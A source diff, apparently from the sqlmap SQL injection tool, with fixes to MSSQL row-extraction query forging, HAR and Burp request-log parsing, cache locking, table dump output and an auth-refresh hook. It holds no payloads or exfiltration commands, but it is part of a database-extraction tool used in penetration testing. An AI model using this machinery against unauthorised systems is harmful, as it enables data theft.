if (limitRegExp or limitRegExp2 or offsetFetch) and stopLimit is not None:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
# From now on we need only the expression until the " LIMIT "
|
||||
# (or equivalent, depending on the back-end DBMS) word
|
||||
if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses:
|
||||
stopLimit += startLimit
|
||||
if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
|
||||
if limitClause:
|
||||
_ = limitClause.start()
|
||||
elif expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
|
||||
_ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
|
||||
else:
|
||||
_ = re.search(r"\bLIMIT\b", expression, re.I).start()
|
||||
|
|
@ -1104,6 +1166,8 @@ class Agent(object):
|
|||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
stopLimit += startLimit
|
||||
if offsetFetch:
|
||||
expression = expression[:offsetFetch.start()]
|
||||
elif dump:
|
||||
if conf.limitStart:
|
||||
startLimit = conf.limitStart - 1
|
||||
|
|
@ -1224,6 +1288,11 @@ class Agent(object):
|
|||
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
||||
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||
|
||||
# Note: Microsoft SQL Server 2012+ (and Azure) supports OFFSET/FETCH (row position based), while the (old) NOT IN forging is value based (i.e. collapses duplicate values)
|
||||
if Backend.isDbms(DBMS.MSSQL) and (Backend.isVersionGreaterOrEqualThan("2012") or Backend.isVersionWithin(("Azure",))) and not re.search(r"(?i)\A(SELECT\s+)?(TOP|DISTINCT)\b", limitedQuery):
|
||||
limitedQuery = "%s%s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" % (limitedQuery, orderBy or " ORDER BY %s" % (uniqueField or '1'), num)
|
||||
return limitedQuery
|
||||
|
||||
notDistincts = re.findall(r"DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
|
||||
|
||||
for notDistinct in notDistincts:
|
||||
|
|
|
|||
|
|
@ -1681,10 +1681,14 @@ def parseTargetDirect():
|
|||
for dbms in SUPPORTED_DBMS:
|
||||
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_~\-\/\\]*)$" % dbms, conf.direct, re.I)
|
||||
|
||||
# Note: database file path of a file-based DBMS (e.g. SQLite) can contain (almost) any character (e.g. '/tmp/my dir (old)/t.db')
|
||||
if not details and dbms in DBMS_DICT[DBMS.SQLITE][0] + DBMS_DICT[DBMS.ACCESS][0]:
|
||||
details = re.search(r"^(?P<dbms>%s)://(?P<db>.+)$" % re.escape(dbms), conf.direct, re.I)
|
||||
|
||||
if details:
|
||||
conf.dbms = details.group("dbms")
|
||||
|
||||
if details.group("credentials"):
|
||||
if details.groupdict().get("credentials"):
|
||||
conf.dbmsUser = details.group("user").strip("'\"")
|
||||
conf.dbmsPass = details.group("pass").strip("'\"")
|
||||
else:
|
||||
|
|
@ -1697,7 +1701,7 @@ def parseTargetDirect():
|
|||
if not conf.dbmsPass:
|
||||
conf.dbmsPass = None
|
||||
|
||||
if details.group("remote"):
|
||||
if details.groupdict().get("remote"):
|
||||
remote = True
|
||||
conf.hostname = details.group("hostname").strip()
|
||||
conf.port = int(details.group("port"))
|
||||
|
|
@ -3236,7 +3240,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None):
|
|||
"""
|
||||
|
||||
if conf.harFile:
|
||||
conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime)
|
||||
conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime, scheme=conf.scheme)
|
||||
|
||||
if conf.trafficFile:
|
||||
with kb.locks.log:
|
||||
|
|
@ -3634,7 +3638,7 @@ def isDBMSVersionAtLeast(minimum):
|
|||
|
||||
return retVal
|
||||
|
||||
def parseSqliteTableSchema(value):
|
||||
def parseSqliteTableSchema(value, tbl=None):
|
||||
"""
|
||||
Parses table column names and types from specified SQLite table schema
|
||||
|
||||
|
|
@ -3673,9 +3677,9 @@ def parseSqliteTableSchema(value):
|
|||
continue
|
||||
retVal = True
|
||||
|
||||
columns[column] = match.group(3) or "TEXT"
|
||||
columns[safeSQLIdentificatorNaming(column)] = match.group(3) or "TEXT" # Note: stored escaped, as by all other column enumeration paths (e.g. 'my col' -> '`my col`')
|
||||
|
||||
table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
|
||||
table[safeSQLIdentificatorNaming(tbl or conf.tbl, True)] = columns
|
||||
if conf.db in kb.data.cachedColumns:
|
||||
kb.data.cachedColumns[conf.db].update(table)
|
||||
else:
|
||||
|
|
@ -4066,7 +4070,7 @@ def decodeIntToUnicode(value):
|
|||
"""
|
||||
retVal = value
|
||||
|
||||
if isinstance(value, int):
|
||||
if isinstance(value, six.integer_types):
|
||||
try:
|
||||
if value > 255:
|
||||
_ = "%x" % value
|
||||
|
|
@ -4108,6 +4112,35 @@ def getDaysFromLastUpdate():
|
|||
|
||||
return int(time.time() - os.path.getmtime(paths.SQLMAP_SETTINGS_PATH)) // (3600 * 24)
|
||||
|
||||
def pythonBuildInfo():
|
||||
"""
|
||||
Returns markers of non-default interpreter builds/modes (e.g. free-threading, JIT)
|
||||
|
||||
>>> isinstance(pythonBuildInfo(), str)
|
||||
True
|
||||
"""
|
||||
|
||||
import sysconfig
|
||||
|
||||
retVal = []
|
||||
|
||||
# Note: free-threading builds compile in their own GC and deferred reference counting (e.g. https://github.com/python/cpython/issues/160682, where a still
|
||||
# running function gets collected), both of which stay in play even when the GIL itself got re-enabled in runtime, hence checking the build and not only the state
|
||||
try:
|
||||
if sysconfig.get_config_var("Py_GIL_DISABLED"):
|
||||
retVal.append("free-threading" if not sys._is_gil_enabled() else "free-threading with GIL")
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
if sys._jit.is_enabled():
|
||||
retVal.append("JIT")
|
||||
except:
|
||||
if os.getenv("PYTHON_JIT") == '1':
|
||||
retVal.append("JIT")
|
||||
|
||||
return ", ".join(retVal)
|
||||
|
||||
def unhandledExceptionMessage():
|
||||
"""
|
||||
Returns detailed message about occurred unhandled exception
|
||||
|
|
@ -4116,6 +4149,11 @@ def unhandledExceptionMessage():
|
|||
True
|
||||
"""
|
||||
|
||||
from lib.core.revision import getRevisionNumber # Note: not in the header because of the circular import
|
||||
|
||||
revision = getRevisionNumber()
|
||||
buildInfo = pythonBuildInfo()
|
||||
|
||||
errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING
|
||||
errMsg += "run with the latest development version from official GitHub "
|
||||
errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE
|
||||
|
|
@ -4123,8 +4161,8 @@ def unhandledExceptionMessage():
|
|||
errMsg += "with the following text and any other information required to "
|
||||
errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly "
|
||||
errMsg += "and get back to you\n"
|
||||
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
||||
errMsg += "Python version: %s\n" % PYVERSION
|
||||
errMsg += "Running version: %s%s\n" % (VERSION_STRING[VERSION_STRING.find('/') + 1:], (" (%s)" % revision) if revision else "")
|
||||
errMsg += "Python version: %s%s\n" % (PYVERSION, (" (%s)" % buildInfo) if buildInfo else "")
|
||||
errMsg += "Operating system: %s\n" % platform.platform()
|
||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None)))
|
||||
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
|
||||
|
|
@ -5044,6 +5082,9 @@ def findPageForms(content, url, raiseException=False, addToTargets=False):
|
|||
data = data.strip("['\"]")
|
||||
retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
|
||||
|
||||
# Note: same filtering for forms found inside scripts (e.g. jQuery's $.post(...)) as for regular ones
|
||||
retVal = set(_ for _ in retVal if not (conf.crawlExclude and re.search(conf.crawlExclude, _[0]) or conf.scope and not re.search(conf.scope, _[0], re.I) or not checkSameHost(response.geturl(), _[0])))
|
||||
|
||||
if not retVal and not conf.crawlDepth:
|
||||
errMsg = "there were no forms found at the given target URL"
|
||||
if raiseException:
|
||||
|
|
@ -5104,12 +5145,12 @@ def getHostHeader(url):
|
|||
retVal = url
|
||||
|
||||
if url:
|
||||
retVal = _urllib.parse.urlparse(url).netloc
|
||||
parsed = _urllib.parse.urlparse(url)
|
||||
retVal = parsed.netloc
|
||||
defaultPort = {"http": 80, "https": 443, "ws": 80, "wss": 443}.get(parsed.scheme.lower())
|
||||
|
||||
# Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are
|
||||
# stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports
|
||||
# (e.g. '[::1]:8080') as required by RFC 7230
|
||||
if any(retVal.endswith(':%d' % _) for _ in (80, 443)):
|
||||
# Keep non-default ports, including 80 on HTTPS and 443 on HTTP.
|
||||
if defaultPort is not None and retVal.endswith(':%d' % defaultPort):
|
||||
retVal = retVal[:retVal.rfind(':')]
|
||||
|
||||
if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')):
|
||||
|
|
@ -5352,7 +5393,7 @@ def hashDBWrite(key, value, serialize=False):
|
|||
"""
|
||||
|
||||
if conf.hashDB:
|
||||
_ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
|
||||
_ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else ("%s:%s" % (conf.port, conf.dbmsDb) if conf.direct else conf.port), key, HASHDB_MILESTONE_VALUE)) # Note: in case of direct connection, database (e.g. SQLite file) is part of the key
|
||||
conf.hashDB.write(_, value, serialize)
|
||||
|
||||
def hashDBRetrieve(key, unserialize=False, checkConf=False):
|
||||
|
|
@ -5363,7 +5404,7 @@ def hashDBRetrieve(key, unserialize=False, checkConf=False):
|
|||
retVal = None
|
||||
|
||||
if conf.hashDB:
|
||||
_ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
|
||||
_ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else ("%s:%s" % (conf.port, conf.dbmsDb) if conf.direct else conf.port), key, HASHDB_MILESTONE_VALUE)) # Note: in case of direct connection, database (e.g. SQLite file) is part of the key
|
||||
retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None
|
||||
|
||||
if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, six.string_types) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)):
|
||||
|
|
@ -5404,7 +5445,7 @@ def resetCookieJar(cookieJar):
|
|||
cookieJar.load(cookieJar.filename, ignore_expires=True)
|
||||
|
||||
for cookie in cookieJar:
|
||||
if getattr(cookie, "expires", MAX_INT) < time.time():
|
||||
if (getattr(cookie, "expires", None) or MAX_INT) < time.time(): # Note: session cookies have 'expires' set to None
|
||||
warnMsg = "cookie '%s' has expired" % cookie
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
|
|
@ -5611,7 +5652,7 @@ def pollProcess(process, suppress_errors=False):
|
|||
|
||||
def parseRequestFile(reqFile, checkParams=True):
|
||||
"""
|
||||
Parses WebScarab and Burp logs and adds results to the target URL list
|
||||
Parses WebScarab, Burp and HAR logs and adds results to the target URL list
|
||||
|
||||
>>> handle, reqFile = tempfile.mkstemp(suffix=".req")
|
||||
>>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
|
||||
|
|
@ -5655,20 +5696,40 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||
Parses Burp logs
|
||||
"""
|
||||
|
||||
if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
|
||||
if re.search(r"\A\s*\{.*\"entries\"", content[:1000], re.S):
|
||||
reqResList = []
|
||||
try:
|
||||
entries = json.loads(content)["log"]["entries"]
|
||||
except (ValueError, KeyError, TypeError):
|
||||
entries = []
|
||||
for entry in entries: # Note: HAR (HTTP Archive) logs (e.g. ZAP, browsers) - re-serialized into raw requests
|
||||
try:
|
||||
request = entry["request"]
|
||||
url = request["url"]
|
||||
headers = [(_["name"], _["value"]) for _ in request.get("headers", []) if not _["name"].startswith(':')]
|
||||
if not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in headers):
|
||||
headers.insert(0, (HTTP_HEADER.HOST, _urllib.parse.urlsplit(url).netloc))
|
||||
reqResList.append("%s %s HTTP/1.1\n%s\n\n%s" % (request["method"], url, "\n".join("%s: %s" % _ for _ in headers), (request.get("postData") or {}).get("text") or ""))
|
||||
except (KeyError, TypeError, AttributeError):
|
||||
continue
|
||||
elif not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
|
||||
if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
reqResList = []
|
||||
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
port, request = match.groups()
|
||||
port, protocol, request = match.groups()
|
||||
protocol = (protocol or "").lower()
|
||||
try:
|
||||
request = decodeBase64(request, binary=False)
|
||||
except (binascii.Error, TypeError):
|
||||
continue
|
||||
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
|
||||
if _:
|
||||
host = _.group(0).strip()
|
||||
if not re.search(r":\d+\Z", host) and int(port) != 80:
|
||||
request = request.replace(host, "%s:%d" % (host, int(port)))
|
||||
host = value = _.group(0).strip()
|
||||
if not re.search(r":\d+\Z", host) and int(port) != (443 if protocol == "https" else 80):
|
||||
value = "%s:%d" % (value, int(port))
|
||||
if protocol and "://" not in value: # Note: item's <protocol> (as the port alone can't tell e.g. HTTPS on 8443)
|
||||
value = re.sub(r"\A([^:]+:\s*)", r"\g<1>%s://" % protocol, value)
|
||||
request = request.replace(host, value)
|
||||
reqResList.append(request)
|
||||
else:
|
||||
reqResList = [content]
|
||||
|
|
@ -5687,6 +5748,12 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||
else:
|
||||
scheme, port = None, None
|
||||
|
||||
# Note: Burp's entry header line (e.g. '16:20:47 https://www.target.com:443 [1.2.3.4]') is right above the request's separator
|
||||
if not isinstance(match, six.string_types):
|
||||
_ = re.search(r"(?P<scheme>https?)://[^\s/]+:(?P<port>\d+)\s+\[[^\]]*\]\s*\Z", content[:match.start()].rstrip("=\r\n\t "), re.I)
|
||||
if _:
|
||||
scheme, port = _.group("scheme"), _.group("port")
|
||||
|
||||
if "HTTP/" not in request:
|
||||
continue
|
||||
|
||||
|
|
@ -5739,6 +5806,10 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||
elif "?" in line and "=" in line and ": " not in line:
|
||||
params = True
|
||||
|
||||
# HTTP/2 pseudo-headers (e.g. ':authority')
|
||||
elif line.startswith(':'):
|
||||
continue
|
||||
|
||||
# Headers
|
||||
elif re.search(r"\A\S+:", line):
|
||||
key, value = line.split(":", 1)
|
||||
|
|
@ -5753,16 +5824,17 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||
|
||||
# Cookie and Host headers
|
||||
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
||||
cookie = value
|
||||
cookie = "%s; %s" % (cookie, value) if cookie else value # Note: (e.g. HTTP/2) cookies can be split into multiple headers
|
||||
elif key.upper() == HTTP_HEADER.HOST.upper():
|
||||
if '://' in value:
|
||||
scheme, value = value.split('://')[:2]
|
||||
|
||||
port = extractRegexResult(r":(?P<result>\d+)\Z", value)
|
||||
if port:
|
||||
_ = extractRegexResult(r":(?P<result>\d+)\Z", value)
|
||||
if _:
|
||||
port = _
|
||||
host = value[:-(1 + len(port))]
|
||||
else:
|
||||
host = value
|
||||
host = value # Note: keeping port (if any) from e.g. Burp's entry header line
|
||||
|
||||
# Avoid to add a static content length header to
|
||||
# headers and consider the following lines as
|
||||
|
|
|
|||
|
|
@ -125,6 +125,9 @@ def _serializeEncode(value):
|
|||
if isinstance(value, decimal.Decimal):
|
||||
return {_SERIALIZE_TAG: "dec", "v": getUnicode(value)}
|
||||
|
||||
if isinstance(value, (datetime.datetime, datetime.time)) and value.tzinfo is not None:
|
||||
return getUnicode(value) # Note: time zone aware value (e.g. from '-d' connector) kept as displayed, as an arbitrary tzinfo can't be rebuilt
|
||||
|
||||
if isinstance(value, datetime.datetime):
|
||||
return {_SERIALIZE_TAG: "dt", "v": [value.year, value.month, value.day, value.hour, value.minute, value.second, value.microsecond]}
|
||||
|
||||
|
|
|
|||
|
|
@ -9,8 +9,40 @@ import copy
|
|||
import threading
|
||||
|
||||
from collections import OrderedDict
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
|
||||
class NoLock(object):
|
||||
"""
|
||||
No-op stand-in for a lock, used where the guarded operations are already atomic on their own
|
||||
|
||||
>>> with NoLock():
|
||||
... True
|
||||
True
|
||||
"""
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, *args):
|
||||
return False
|
||||
|
||||
def cacheLock(reentrant=False):
|
||||
"""
|
||||
Returns a lock for guarding the (OrderedDict based) caches. Only Python 2 needs a real one, as its
|
||||
OrderedDict is implemented in Python (#5619), while on Python 3 each operation is atomic. Moreover,
|
||||
since Python 3.14 a Ctrl-C landing right after a lock got acquired by the 'with' statement leaves it
|
||||
acquired forever (i.e. '__exit__' never gets called), hanging every thread that touches the cache
|
||||
|
||||
>>> isinstance(cacheLock(), NoLock) == six.PY3
|
||||
True
|
||||
"""
|
||||
|
||||
if six.PY2:
|
||||
return threading.RLock() if reentrant else threading.Lock()
|
||||
else:
|
||||
return NoLock()
|
||||
|
||||
class AttribDict(dict):
|
||||
"""
|
||||
This class defines the dictionary with added capability to access members as attributes
|
||||
|
|
@ -133,7 +165,7 @@ class LRUDict(object):
|
|||
def __init__(self, capacity):
|
||||
self.capacity = capacity
|
||||
self.cache = OrderedDict()
|
||||
self.__lock = threading.Lock()
|
||||
self.__lock = cacheLock()
|
||||
|
||||
def __len__(self):
|
||||
return len(self.cache)
|
||||
|
|
@ -159,7 +191,10 @@ class LRUDict(object):
|
|||
self.cache.pop(key)
|
||||
except KeyError:
|
||||
if len(self.cache) >= self.capacity:
|
||||
self.cache.popitem(last=False)
|
||||
try:
|
||||
self.cache.popitem(last=False)
|
||||
except KeyError: # Note: concurrently emptied by another thread (unlocked on Python 3)
|
||||
pass
|
||||
self.cache[key] = value
|
||||
|
||||
def set(self, key, value):
|
||||
|
|
|
|||
|
|
@ -9,6 +9,7 @@ import functools
|
|||
import threading
|
||||
|
||||
from lib.core.datatype import LRUDict
|
||||
from lib.core.datatype import cacheLock
|
||||
from lib.core.settings import MAX_CACHE_ITEMS
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
|
||||
|
|
@ -40,7 +41,7 @@ def cachedmethod(f):
|
|||
"""
|
||||
|
||||
_cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS)
|
||||
_method_locks[f] = threading.RLock()
|
||||
_method_locks[f] = cacheLock(reentrant=True)
|
||||
|
||||
def _freeze(val):
|
||||
if isinstance(val, (list, set, tuple)):
|
||||
|
|
@ -61,7 +62,10 @@ def cachedmethod(f):
|
|||
|
||||
with lock:
|
||||
if key in cache:
|
||||
return cache[key]
|
||||
try:
|
||||
return cache[key]
|
||||
except KeyError: # Note: evicted in between (unlocked on Python 3)
|
||||
pass
|
||||
|
||||
except TypeError:
|
||||
# Note: fallback (slow-path) for unhashable arguments
|
||||
|
|
@ -73,7 +77,10 @@ def cachedmethod(f):
|
|||
|
||||
with lock:
|
||||
if key in cache:
|
||||
return cache[key]
|
||||
try:
|
||||
return cache[key]
|
||||
except KeyError:
|
||||
pass
|
||||
except TypeError:
|
||||
# Note: genuinely uncacheable arguments; skip caching altogether
|
||||
return f(*args, **kwargs)
|
||||
|
|
|
|||
|
|
@ -75,6 +75,7 @@ class Dump(object):
|
|||
self._outputFile = None
|
||||
self._outputFP = None
|
||||
self._lock = threading.Lock()
|
||||
self._dumpFiles = {} # Note: dump file -> table (written during this run)
|
||||
|
||||
def _write(self, data, newline=True, console=True, content_type=None):
|
||||
text = "%s%s" % (data, "\n" if newline else " ")
|
||||
|
|
@ -224,6 +225,12 @@ class Dump(object):
|
|||
def procedures(self, procedures):
|
||||
self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES)
|
||||
|
||||
def links(self, links):
|
||||
self.lister("database links", links, content_type=CONTENT_TYPE.LINKS)
|
||||
|
||||
def audit(self, audit):
|
||||
self.lister("database security audit", audit, content_type=CONTENT_TYPE.AUDIT)
|
||||
|
||||
def userSettings(self, header, userSettings, subHeader, content_type=None):
|
||||
self._areAdmins = set()
|
||||
|
||||
|
|
@ -286,7 +293,7 @@ class Dump(object):
|
|||
lines = "-" * (int(maxlength) + 2)
|
||||
|
||||
for db, tables in dbTables.items():
|
||||
tables = sorted(filter(None, tables))
|
||||
tables = sorted(filter(None, tables), key=lambda _: unsafeSQLIdentificatorNaming(getUnicode(_))) # Note: sorted by (displayed) unescaped names
|
||||
|
||||
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "<current>")
|
||||
|
||||
|
|
@ -401,7 +408,7 @@ class Dump(object):
|
|||
for ctables in dbTables.values():
|
||||
for tables in ctables.values():
|
||||
for table in tables:
|
||||
maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table)))
|
||||
maxlength1 = max(maxlength1, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table))))
|
||||
|
||||
for db, counts in dbTables.items():
|
||||
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "<current>")
|
||||
|
|
@ -424,10 +431,10 @@ class Dump(object):
|
|||
if count is None:
|
||||
count = "Unknown"
|
||||
|
||||
tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
|
||||
tables = sorted((unsafeSQLIdentificatorNaming(getUnicode(_)) for _ in tables), key=lambda _: _.lower())
|
||||
|
||||
for table in tables:
|
||||
blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table)))
|
||||
blank1 = " " * (maxlength1 - getConsoleLength(table))
|
||||
blank2 = " " * (maxlength2 - len(str(count)))
|
||||
self._write("| %s%s | %d%s |" % (table, blank1, count, blank2))
|
||||
|
||||
|
|
@ -507,7 +514,8 @@ class Dump(object):
|
|||
else:
|
||||
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower()))
|
||||
else:
|
||||
appendToFile = any((conf.limitStart, conf.limitStop))
|
||||
# Note: appending (e.g. of --start/--stop ranges) only to the same table's file (i.e. not to a --dump-file shared among multiple tables)
|
||||
appendToFile = any((conf.limitStart, conf.limitStop)) and self._dumpFiles.get(dumpFileName, table) == table
|
||||
|
||||
if not appendToFile:
|
||||
count = 1
|
||||
|
|
@ -522,6 +530,18 @@ class Dump(object):
|
|||
else:
|
||||
count += 1
|
||||
|
||||
# Note: appending to HTML means adding rows to the existing table (i.e. not appending a whole new document)
|
||||
if appendToFile and conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
with openFile(dumpFileName, "r") as f:
|
||||
content = f.read()
|
||||
|
||||
if "</tbody>" in content:
|
||||
with openFile(dumpFileName, "w+") as f:
|
||||
f.write(content[:content.rindex("</tbody>")])
|
||||
else:
|
||||
appendToFile = False
|
||||
|
||||
self._dumpFiles[dumpFileName] = table
|
||||
dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE)
|
||||
|
||||
count = int(tableValues["__infos__"]["count"])
|
||||
|
|
@ -594,7 +614,7 @@ class Dump(object):
|
|||
cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT))
|
||||
|
||||
rtable = replication.createTable(table, cols)
|
||||
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
elif conf.dumpFormat == DUMP_FORMAT.HTML and not appendToFile:
|
||||
dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
|
||||
dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
|
||||
dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
|
||||
|
|
@ -630,7 +650,7 @@ class Dump(object):
|
|||
|
||||
field += 1
|
||||
|
||||
if conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
if conf.dumpFormat == DUMP_FORMAT.HTML and not appendToFile:
|
||||
dataToDumpFile(dumpFP, "\n</tr>\n</thead>\n<tbody>\n")
|
||||
|
||||
self._write("|\n%s" % separator)
|
||||
|
|
@ -789,7 +809,7 @@ class Dump(object):
|
|||
self.dbTableColumns(found)
|
||||
|
||||
def sqlQuery(self, query, queryRes):
|
||||
self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY)
|
||||
self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY, sort=False) # Note: query's own row order and duplicates have to be preserved
|
||||
|
||||
def rFile(self, fileData):
|
||||
self.lister("files saved to", fileData, sort=False, content_type=CONTENT_TYPE.FILE_READ)
|
||||
|
|
|
|||
|
|
@ -352,18 +352,17 @@ class PAYLOAD(object):
|
|||
3: "High risk",
|
||||
}
|
||||
|
||||
CLAUSE = {
|
||||
0: "Always",
|
||||
1: "WHERE",
|
||||
2: "GROUP BY",
|
||||
3: "ORDER BY",
|
||||
4: "LIMIT",
|
||||
5: "OFFSET",
|
||||
6: "TOP",
|
||||
7: "Table name",
|
||||
8: "Column name",
|
||||
9: "Pre-WHERE (non-query)",
|
||||
}
|
||||
class CLAUSE(object):
|
||||
ALWAYS = 0
|
||||
WHERE = 1
|
||||
GROUP_BY = 2
|
||||
ORDER_BY = 3
|
||||
LIMIT = 4
|
||||
OFFSET = 5
|
||||
TOP = 6
|
||||
TABLE_NAME = 7
|
||||
COLUMN_NAME = 8
|
||||
PRE_WHERE = 9
|
||||
|
||||
class METHOD(object):
|
||||
COMPARISON = "comparison"
|
||||
|
|
@ -430,6 +429,8 @@ class CONTENT_TYPE(object):
|
|||
REG_READ = 25
|
||||
STATEMENTS = 26
|
||||
PROCEDURES = 27
|
||||
LINKS = 28
|
||||
AUDIT = 29
|
||||
|
||||
class CONTENT_STATUS(object):
|
||||
IN_PROGRESS = 0
|
||||
|
|
@ -463,6 +464,7 @@ class MKSTEMP_PREFIX(object):
|
|||
BIG_ARRAY = "sqlmapbigarray-"
|
||||
SPECIFIC_RESPONSE = "sqlmapresponse-"
|
||||
PREPROCESS = "sqlmappreprocess-"
|
||||
AUTH_REFRESH = "sqlmapauthrefresh-"
|
||||
|
||||
class TIMEOUT_STATE(object):
|
||||
NORMAL = 0
|
||||
|
|
|
|||
|
|
@ -142,6 +142,7 @@ from lib.parse.configfile import configFileParser
|
|||
from lib.parse.payloads import loadBoundaries
|
||||
from lib.parse.payloads import loadPayloads
|
||||
from lib.request.basic import checkCharEncoding
|
||||
from lib.request import authrefresh
|
||||
from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
|
||||
from lib.request.chunkedhandler import ChunkedHandler
|
||||
from lib.request.connect import Connect as Request
|
||||
|
|
@ -1152,6 +1153,42 @@ def _setPostprocessFunctions():
|
|||
errMsg += "(Note: find template script at '%s')" % filename
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
def _setAuthRefreshFunction():
|
||||
"""
|
||||
Load the authentication refresh hook without performing a login during initialization.
|
||||
"""
|
||||
|
||||
if conf.authRefresh:
|
||||
try:
|
||||
script = safeFilepathEncode(conf.authRefresh.strip())
|
||||
|
||||
if not os.path.isfile(script):
|
||||
raise SqlmapFilePathException("auth refresh script '%s' does not exist" % script)
|
||||
if not script.endswith(".py"):
|
||||
raise SqlmapSyntaxException("auth refresh script should have an extension '.py'")
|
||||
|
||||
dirname, filename = os.path.split(os.path.abspath(script))
|
||||
if dirname not in sys.path:
|
||||
sys.path.insert(0, dirname)
|
||||
|
||||
logger.info("loading auth refresh module '%s'" % filename[:-3])
|
||||
try:
|
||||
getattr(importlib, "invalidate_caches", lambda: None)()
|
||||
module = __import__(safeFilepathEncode(filename[:-3]))
|
||||
function = getattr(module, "refresh", None)
|
||||
if not inspect.isfunction(function):
|
||||
raise ValueError("missing function 'refresh()'")
|
||||
spec = _argSpec(function)
|
||||
if len(spec.args) > len(spec.defaults or ()) or any(_ not in (getattr(spec, "kwonlydefaults", None) or {}) for _ in getattr(spec, "kwonlyargs", ())):
|
||||
raise ValueError("function 'refresh()' must be callable without arguments")
|
||||
except Exception:
|
||||
raise SqlmapSyntaxException("unable to load 'refresh()' from auth refresh script '%s'" % script)
|
||||
except (SqlmapFilePathException, SqlmapSyntaxException) as ex:
|
||||
errMsg = "%s. You can find a template script at '%s'" % (getSafeExString(ex), authrefresh.createTemplate())
|
||||
raise type(ex)(errMsg)
|
||||
|
||||
kb.authRefreshFunction = function
|
||||
|
||||
def _setThreads():
